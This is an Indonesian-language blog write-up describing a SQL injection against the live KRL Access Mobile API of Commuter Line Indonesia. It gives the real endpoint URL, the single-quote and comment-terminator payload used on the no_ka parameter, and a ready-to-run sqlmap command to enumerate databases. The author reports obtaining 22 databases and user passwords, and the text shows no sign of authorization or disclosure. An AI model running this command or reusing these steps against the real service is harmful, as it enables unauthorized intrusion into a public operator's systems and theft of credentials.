Halo semuanya, Kali ini saya ingin membagikan write up sederhana yang sesuai judul yaa, ok jadi langsung aja yaa. Apa sih itu Commuter Line Indonesia? selengkapnya ada di Wikipedia
Saya mencari vulnerability nya melalui Intercept di aplikasi KRL Access Mobile, saya intercept menggunakan Burpsuite yang sudah saya konfigurasi agar bisa melakukan intercept http request di aplikasi Android. lalu saya melakukan intercept di bagian schedule and route, seperti ini
Lalu saya mendapatkan request url dan post data nya, berikut data nya
Request Url: http://info.krl.co.id//VQFXIQNcRQkEQkdHVh1aW1dfQDhGF0dFRxFRFB8WbVBKTRYIXUZPWUBYTARWTAlWVEBSCV9TSFoAUARUWgMGCTo1MDRjZDI3Mg== Post data : no_ka=1465&id_stasiun=BKS
Selanjutnya saya mencoba untuk menginjeksi dengan single quote pada parameter no_ka, response nya adalah “500 internal server error”
Lalu saya tambahkan ( — -) setelah single quote, maka menampilkan data data normal, berarti menandakan bahwa vulnerability terhadap SQL Injection. awalnya saya tidak yakin vulnerable SQL Injection, sebab respons nya 500 Internal Server Error, tetapi saya menambahkan balance menampilkan data normal.
Selanjutnya saya scan di SQLMAP dengan command
sqlmap -u "http://info.krl.co.id//VQFXIQNcRQkEQkdHVh1aW1dfQDhGF0dFRxFRFB8WbVBKTRYIXUZPWUBYTARWTAlWVEBSCV9TSFoAUARUWgMGCTo1MDRjZDI3Mg==" --data="no_ka=1465&id_stasiun=BKS" --level 3 --risk 3 --dbs
Maka hasil scannya adalah saya mendapatkan 22 database
Dan 5 Users
Beserta Passwordnya
Jangan lupa di share yaa, agar saya bisa untuk memberikan write up sederhana lagi. see you!
Contact me at About Me